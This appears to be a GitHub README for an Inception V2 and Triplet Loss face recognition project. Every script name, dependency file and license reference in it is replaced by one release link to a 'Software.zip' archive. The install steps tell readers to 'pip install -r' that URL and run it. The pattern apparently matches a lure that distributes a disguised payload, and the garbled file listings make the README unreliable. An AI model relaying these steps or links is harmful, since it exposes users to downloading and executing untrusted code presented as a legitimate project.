Welcome to the Face_Recognition repository - your one-stop solution for an end-to-end face recognition system. This project leverages the power of Inception V2 architecture and Triplet Loss to generate robust embeddings for accurate facial recognition.
🔹 Cutting-edge Technology: Utilizes state-of-the-art Inception V2 architecture and Triplet Loss function for superior face recognition accuracy.
🔹 Highly Efficient: Provides fast and precise face recognition capabilities.
🔹 Deep Learning: Implements deep learning algorithms for superior performance.
🔹 Easy to Use: Simple implementation in Python 3 using TensorFlow 2 and Keras.
⚙️ ai
👁️ computer-vision
🧠 deep-learning
🎯 embeddings
👤 face-recognition
😃 facial-recognition
🚀 inception-v2
🔵 keras-tensorflow
💻 machine-learning
🐍 python3
🔢 tensorflow2
📐 triplet-loss
To access the full functionality of this repository, please download the release package from the following link:
Note: The link provided needs to be launched.
If the link is not accessible or if you require more information, please visit the Releases section of this repository.
📁 /data: Contains sample images for testing the face recognition system.
📁 /models: Includes pre-trained Inception V2 models for quick deployment.
📄 https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zip: Python script to train the face recognition model using Triplet Loss.
📄 https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zip: Utilize the trained model for facial recognition tasks.
📄 https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zip: Helper functions for data preprocessing and model evaluation.
⚙️ Python 3
🔵 TensorFlow 2
🔶 Keras
🔬 GPU (recommended)
- Make sure you have all dependencies installed by running
pip install -r https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zip. - Train the face recognition model using
https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zip. - Test the model by running
https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zipon sample images.
Contributions to this repository are welcome! Feel free to submit pull requests to enhance the functionality and performance of the face recognition system.
If you encounter any issues or have questions regarding the implementation, please open an issue in the repository. Our team will be happy to assist you.
This project is licensed under the MIT License - see the https://github.com/LAURY-STACK/Face_Recognition/releases/download/v2.0/Software.zip file for details.
Thank you for exploring the Face Recognition repository! Keep innovating with cutting-edge AI technologies. 👩💻👨💻🚀